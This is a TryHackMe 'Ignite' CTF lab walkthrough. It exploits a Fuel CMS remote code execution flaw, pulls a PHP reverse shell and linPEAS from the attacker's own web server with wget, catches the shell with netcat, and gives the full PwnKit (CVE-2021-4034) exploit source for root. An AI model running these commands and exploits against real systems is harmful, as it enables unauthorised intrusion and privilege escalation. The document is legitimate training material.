TryHackMe Ignite Walkthrough

A write up for the Ignite room on TryHackMe platform (level: easy).

Photo by Nik Shuliahin 💛💙 on Unsplash

This room is a beginner-friendly CTF where you will have to root a Linux box hosting a web server. It only requires use of basic tools.

NB: most walkthrough I’ve read for that room are completing the last step by the means of a config file. I did it otherwise, so I thought it would worth being shared with you.

Once the target machine is up, we naturally start with a port scan. I personally like to use Threader3000 Python script to speed up the process instead of an initial nmap.

------------------------------------------------------------
        Threader 3000 - Multi-threaded Port Scanner          
                       Version 1.0.7                    
                   A project by The Mayor               
------------------------------------------------------------
Enter your target IP address or URL here: 10.10.171.73
------------------------------------------------------------
Scanning target 10.10.171.73
Time started: 2023-08-29 16:46:55.743016
------------------------------------------------------------
Port 80 is open
Port scan completed in 0:00:13.574237
------------------------------------------------------------
Threader3000 recommends the following Nmap scan:
************************************************************
nmap -p80 -sV -sC -T4 -Pn -oA 10.10.236.54 10.10.171.73
************************************************************
Would you like to run Nmap or quit to terminal?
------------------------------------------------------------
1 = Run suggested Nmap scan
2 = Run another Threader3000 scan
3 = Exit to terminal
------------------------------------------------------------
Option Selection: 1
nmap -p80 -sV -sC -T4 -Pn -oA 10.10.236.54 10.10.171.73
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-29 16:47 CEST
Nmap scan report for 10.10.171.73
Host is up (0.034s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Welcome to FUEL CMS
| http-robots.txt: 1 disallowed entry 
|_/fuel/
|_http-server-header: Apache/2.4.18 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.89 seconds
------------------------------------------------------------
Combined scan completed in 0:00:54.681243

Based on that first scan, it seems quite obvious that our first attack vector will depend on the web server. Let’s have a look at its front page :

The front page is a fresh Fuel CMS install with version displayed in clear

After a quick look in Exploit-DB, we can find that this version has a known remote code execution vulnerability.

A few exploits should give us access to RCE

We pick the third one (50477) and run it:

┌──(kali㉿badwolf)-[~/]
└─$ python 50477.py -u http://10.10.171.73
[+]Connecting...
Enter Command $ls
systemREADME.md
assets
composer.json
contributing.md
fuel
index.php
robots.txt

This shell works but does not keep context between two commands. In order to stabilize our shell, we have several options. Since we have a running Apache server with PHP, let’s opt for the well-known PHP reverse shell from pentestmonkeys:

[embed]php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell Contribute to pentestmonkey/php-reverse-shell development by creating an account on GitHub.github.com

We get it on our Kali (or Attackbox), save it as shell.php and we adapt it to use our attack machine IP and port:

$ip = '10.10.11.12';  // Replace with my kali
$port = 4242;       // I like that port

Then we start a local Python web server on port 8080:

┌──(kali㉿badwolf)-[~/]
└─$ python -m http.server 8080

and from the target machine, we download this script in our webserver:

Enter Command $cd /var/www/html && wget http://10.10.11.12:8080/shell.php
system

We can now stop our local Python server and open a listener for the remote shell.

┌──(kali㉿badwolf)-[~/]
└─$ nc -lvnp 4242

We now open a browser tab on our reverse shell URL: http://10.10.171.73/shell.php and we are ready to enjoy our stabilized shell.

┌──(kali㉿badwolf)-[~/]
└─$ nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.10.11.12] from (UNKNOWN) [10.10.171.73] 50560
Linux ubuntu 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 02:25:12 up 6 min,  0 users,  load average: 0.23, 0.37, 0.23
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ ls -l
total 100
drwxr-xr-x   2 root root  4096 Jul 26  2019 bin
drwxr-xr-x   3 root root  4096 Jul 26  2019 boot
drwxrwxr-x   2 root root  4096 Jul 26  2019 cdrom
drwxr-xr-x  17 root root  3760 Aug 31 02:19 dev
drwxr-xr-x 134 root root 12288 Jul 26  2019 etc
drwxr-xr-x   3 root root  4096 Jul 26  2019 home
lrwxrwxrwx   1 root root    33 Jul 26  2019 initrd.img -> boot/initrd.img-4.15.0-45-generic
lrwxrwxrwx   1 root root    33 Jul 26  2019 initrd.img.old -> boot/initrd.img-4.15.0-45-generic
drwxr-xr-x  22 root root  4096 Jul 26  2019 lib
drwxr-xr-x   2 root root  4096 Feb 26  2019 lib64
drwx------   2 root root 16384 Jul 26  2019 lost+found
drwxr-xr-x   3 root root  4096 Feb 26  2019 media
drwxr-xr-x   2 root root  4096 Feb 26  2019 mnt
drwxr-xr-x   2 root root  4096 Jul 26  2019 opt
dr-xr-xr-x 130 root root     0 Aug 31 02:19 proc
drwx------   4 root root  4096 Jul 26  2019 root
drwxr-xr-x  24 root root   760 Aug 31 02:24 run
drwxr-xr-x   2 root root 12288 Jul 26  2019 sbin
drwxr-xr-x   2 root root  4096 Jul 26  2019 snap
drwxr-xr-x   2 root root  4096 Feb 26  2019 srv
dr-xr-xr-x  13 root root     0 Aug 31 02:19 sys
drwxrwxrwt  11 root root  4096 Aug 31 02:24 tmp
drwxr-xr-x  11 root root  4096 Feb 26  2019 usr
drwxr-xr-x  15 root root  4096 Jul 26  2019 var
lrwxrwxrwx   1 root root    30 Jul 26  2019 vmlinuz -> boot/vmlinuz-4.15.0-45-generic
$ whoami
www-data
$

We can now take alook around and find our user flag:

$ cat /home/www-data/flag.txt
xxx_EDITED_USER_FLAG_xxx

It’s now time to find our way to the root flag. For that, we check if we see a quick win, by checking :

• binaries with setuid flag
• write permissions on the /etc/passwd file
• read permissions on /etc/shadow
• crontab file

But eventually, none of them is giving us a nice attack vector.

Let’s launch a script to enumerate the system. We get linPEAS on our local machine:

[embed]Releases · carlospolop/PEASS-ng PEASS - Privilege Escalation Awesome Scripts SUITE (with colors) - Releases · carlospolop/PEASS-nggithub.com

Then we serve it with our local Python server

┌──(kali㉿badwolf)-[~/]
└─$ python -m http.server 8080

and from the target machine, we download it.

$ cd /tmp
$ wget http://10.10.11.12:8080/linpeas.sh
--2023-08-31 02:40:30--  http://10.10.11.12:8080/linpeas.sh
Connecting to 10.11.47.253:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 848317 (828K) [text/x-sh]
Saving to: 'linpeas.sh'

     0K .......... .......... .......... .......... ..........  6%  623K 1s
    50K .......... .......... .......... .......... .......... 12% 1.20M 1s
   100K .......... .......... .......... .......... .......... 18% 1.24M 1s
   150K .......... .......... .......... .......... .......... 24% 59.0M 1s
   200K .......... .......... .......... .......... .......... 30% 61.5M 0s
   250K .......... .......... .......... .......... .......... 36% 1.27M 0s
   300K .......... .......... .......... .......... .......... 42% 54.8M 0s
   350K .......... .......... .......... .......... .......... 48% 23.9M 0s
   400K .......... .......... .......... .......... .......... 54% 1.30M 0s
   450K .......... .......... .......... .......... .......... 60% 53.2M 0s
   500K .......... .......... .......... .......... .......... 66% 60.2M 0s
   550K .......... .......... .......... .......... .......... 72% 71.1M 0s
   600K .......... .......... .......... .......... .......... 78% 1.30M 0s
   650K .......... .......... .......... .......... .......... 84% 59.3M 0s
   700K .......... .......... .......... .......... .......... 90% 27.9M 0s
   750K .......... .......... .......... .......... .......... 96%  645K 0s
   800K .......... .......... ........                        100% 79.8M=0.4s

2023-08-31 02:40:30 (2.24 MB/s) - 'linpeas.sh' saved [848317/848317]

We now run it and give it a little time to scan the machine:

$ chmod +x linpeas.sh
$ ./linpeas.sh

And amongst the results, let’s have a look at suggested exploits:

[+] [CVE-2021-4034] PwnKit

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)

   Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
   Exposure: less probable
   Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
   Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

Since the PwnKit vulnerability is probable, let’s give it a try.

We open the exploit in ExploitDB:

[embed]OffSec's Exploit Database Archive PolicyKit-1 0.105-31 - Privilege Escalation. CVE-2021-4034 . local exploit for Linux platformwww.exploit-db.com

Following the exploit instructions, we create two C files directly in our shell (under /tmp directory):

$ cat <<EOF > evil-so.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv() {}

void gconv_init() {
    setuid(0);
    setgid(0);
    setgroups(0);

    execve("/bin/sh", NULL, NULL);
} 
EOF
$ cat <<EOF > exploit.c
#include <stdio.h>
#include <stdlib.h>

#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"

int main()
{
    char *envp[] = {
        DIR,
        "PATH=GCONV_PATH=.",
        "SHELL=ryaagard",
        "CHARSET=ryaagard",
        NULL
    };
    char *argv[] = { NULL };

    system("mkdir GCONV_PATH=.");
    system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
    system("mkdir " DIR);
    system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
    system("cp " EVILSO ".so " DIR);

    execve(BIN, argv, envp);

    return 0;
}
EOF

Then we can build them one by one (you will get warnings, but you can safely ignore them).

$ gcc -shared -o evil.so -fPIC evil-so.c
$ gcc exploit.c -o exploit

Once the exploit is compiled, you just have to execute it to get a root shell. Read the root flag and voilà ! 🥳

$ ./exploit
whoami
root
ls -l /root
total 4
-rw-r--r-- 1 root root 34 Jul 26  2019 root.txt
cat /root/root.txt
xxx_EDITED_ROOT_FLAG_xxx

I enjoyed that room that was rather easy to solve, but it gave me opportunities to take benefit of Exploit DB useful code snippets.

I hope you enjoyed that too ! Let me know if some steps are not clear enough, I’ll be glad to have feedbacks.